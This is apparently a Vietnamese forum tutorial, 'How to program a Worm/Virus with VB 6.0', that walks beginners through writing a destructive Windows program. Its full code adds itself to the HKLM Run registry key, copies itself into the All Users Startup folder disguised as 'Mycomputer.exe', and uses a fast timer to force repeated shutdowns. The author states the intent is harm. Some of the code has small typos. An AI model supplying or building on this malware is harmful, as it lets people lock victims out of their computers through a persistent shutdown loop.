Hướng dẫn lập trình Worm,Virus bằng VB 6.0

Hướng dẫn lập trình Worm,Virus bằng VB 6.0


Định nghĩa virus và worm chắc là mọi người đều đã biết, hôm nay tôi xin giới thiệu một cách tạo virus đơn giản nhất với công cụ là VB 6.0
Tác dụng con này là tắt máy tính ( mang tính phá hoại )
Mức độ : Mới học !

Để làm được con này bạn cần khởi tạo 1 project mới, tạo 1 form , tạo 1 timer với thuộc tính interval =100, Enable = true .
Click kép vào form xuất hiện như sau :

Private Sub Form_Load()

End Sub

tại đây bạn copy đoạn code này và pase vào nhé :

Private Sub Form_Load()
'biến tenfile này để lấy đường dẫn tới file mà sau khi bạn dịch project này thành exe nó sẽ lấy được chính xác đường dẫn nó đang ở đâu.
tenfile = App.Path & "\" & App.EXEName & ".exe"
'tiếp đến là gọi thủ tục chaykhoidong để kích hoạt sự lây nhiễm.
chaykhoidong
'sau khi chạy song thì thoát
End Sub

Tiếp đến bạn copy đoạn code sau vào và pase sau phần form load nhé
code thủ tục chaykhoidong này:

Private Sub chaykhoidong()
'Tạo đối tượng wscript
Dim objReg As Object
Set objReg = CreateObject("wscript.shell")
' Ghi giá trị vào Registry mục đích là khởi động win là chạy luôn cùng nó
objReg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CUR RENTVERSION\RUN\" & "Run", App.Path & "\" & App.EXEName & ".exe"
'Sau khi đã ghi vào Registry ròi, tiếp nữa là copy vào thư mục khởi động
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\Mycomputer.exe"
' sau đó kết thúc
End Sub

Tiếp đến là phần phá hoại này. Click kép vào timer nhé, nó sẽ cho ta đánh code vào nó các bạn oánh các code sau vào :

Private Sub Timer1_Timer()
"Tắt máy tính cho biết tay saui 05'' nó sẽ tắt máy
Shell "Shutdown.exe -s -t 05 ", vbMaximizeFocus - r
' Bồi thêm thằng này nữa cho chắc ăn sợ thằng trước có thằng nó oánh lệnh shutdown nhanh ơn 5"
Shell "rundll32.exe user.exe,exitwindows"
End Sub